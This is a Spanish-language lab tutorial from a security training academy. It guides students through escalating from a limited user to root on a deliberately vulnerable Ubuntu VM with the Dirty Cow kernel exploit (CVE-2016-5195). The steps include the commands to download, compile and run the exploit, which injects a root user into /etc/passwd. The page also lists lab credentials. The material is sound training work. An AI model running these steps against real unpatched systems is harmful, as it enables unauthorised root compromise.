Empezar tutorial interactivo

← Volver a Proyectos

Escalamiento de Privilegios usando el Kernel Exploit Dirty Cow

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

🌱 ¿Cómo empezar este proyecto?
  • Requisitos

🌱 ¿Cómo empezar este proyecto?

En la academia se encuentra desplegada una máquina virtual con una versión vulnerable de Ubuntu Server (16.04.1), que corre un kernel afectado por la falla Dirty Cow (CVE-2016-5195).

Como alumno, ya cuentas con acceso a este sistema mediante un usuario limitado llamado student. Tu objetivo será identificar que el sistema es vulnerable, compilar y ejecutar un exploit real, y escalar tus privilegios para obtener acceso como root. Este ejercicio representa una situación realista donde un atacante local, sin privilegios administrativos, logra comprometer completamente el sistema aprovechando una falla en el núcleo del sistema operativo. Los objetivos serán:

  • Verificar la versión del kernel de un sistema Linux.
  • Compilar un exploit real con gcc.
  • Escalar privilegios de un usuario limitado a root.
  • Demostrar el éxito del ataque capturando una flag ubicada en /root.

Este tipo de explotación es típica en auditorías de seguridad avanzada y en entornos Red Team. Te permitirá conectar conceptos de bajo nivel del sistema operativo con técnicas ofensivas reales, de forma práctica y guiada.

Requisitos

  • Máquina Ubuntu vulnerable con kernel 4.4.0-21-generic (o similar sin parchear)
  • Acceso como usuario no privilegiado a la maquina vulnerable (student:password123)

📝 Instrucciones

Paso 1: Verificar la versión del kernel

  1. Inicia sesión en la máquina vulnerable con el usuario limitado y ejecuta:

    1uname -a

    Esto devuelve algo como:

    1Linux dirtycow-lab 4.4.0-31-generic #50-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64
  2. Anota la version e investiga cómo explotar esa vulnerabilidad utilizando bases de datos como Exploit-DB, GitHub o searchsploit desde Kali.

    AYUDA: Para esta práctica te proporcionamos un exploit funcional y documentado que puedes descargar.

Paso 2: Descargar el exploit

  1. Utiliza el siguiente comando para descargar el archivo dirty.c desde el repositorio proporcionado por la academia:

    1wget https://raw.githubusercontent.com/breatheco-de/kernel-exploit-dirtycow-project/refs/heads/main/assets/dirty.c
  2. Una vez descargado el archivo, compílalo con gcc:

    1gcc dirty.c -o dirty -pthread -lcrypt

    Esto generará un ejecutable llamado dirty listo para ejecutarse.

  3. ejecuta el binario:

    1./dirty

    Este exploit realiza las siguientes acciones:

    • Crea una copia de seguridad de /etc/passwd en /tmp/passwd.bak.
    • Inyecta una nueva línea en /etc/passwd con un usuario de nivel root:
    1username: firefart 2password: firefart

Paso 3: Escalar privilegios

  1. Una vez finalizada la ejecución del exploit, cambia de usuario.
  2. Verifica que ahora tienes acceso como root.
  3. Por ultimo captura la flag. Para confirmar el éxito del ataque, lee el contenido del archivo de flag ubicado en el directorio /root/flag.txt. Si todo funcionó correctamente, verás el contenido de la flag.

Regístrate para obtener acceso gratis al tutorial interactivo

Lo usaremos para darte acceso a la comunidad.
¿Ya tienes una cuenta? Inicia sesión aquí.

Al registrarte estás aceptando nuestros Términos y condiciones y Política de privacidad.

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Regístrate para obtener acceso gratis al tutorial interactivo

Lo usaremos para darte acceso a la comunidad.
¿Ya tienes una cuenta? Inicia sesión aquí.

Al registrarte estás aceptando nuestros Términos y condiciones y Política de privacidad.

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit

Dificultad

  • intermediate

Duración promedio

2 hrs

Tecnologías

  • linux

  • penetration testing

  • red team

  • kernel exploit